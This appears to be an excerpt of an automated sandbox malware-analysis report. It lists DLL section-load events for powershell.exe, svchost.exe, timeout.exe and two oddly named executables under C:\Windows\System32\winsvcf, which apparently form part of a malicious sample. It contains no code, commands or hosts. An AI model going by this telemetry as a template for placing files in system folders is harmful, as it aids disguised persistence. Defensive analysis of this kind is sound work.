Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: version.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rasapi32.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rtutils.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: edputil.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wintypes.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: appresolver.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: bcp47langs.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: slc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: sppc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: apphelp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: version.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rasapi32.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rtutils.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: edputil.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wintypes.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: appresolver.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: bcp47langs.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: slc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: sppc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: apphelp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\timeout.exe	Section loaded: version.dll
Source: C:\Windows\System32\timeout.exe	Section loaded: version.dll
Source: C:\Windows\System32\winsvcf\Z369335.exe	Section loaded: apphelp.dll
Source: C:\Windows\System32\winsvcf\Z369335.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\winsvcf\Z753638.exe	Section loaded: apphelp.dll
Source: C:\Windows\System32\winsvcf\Z753638.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
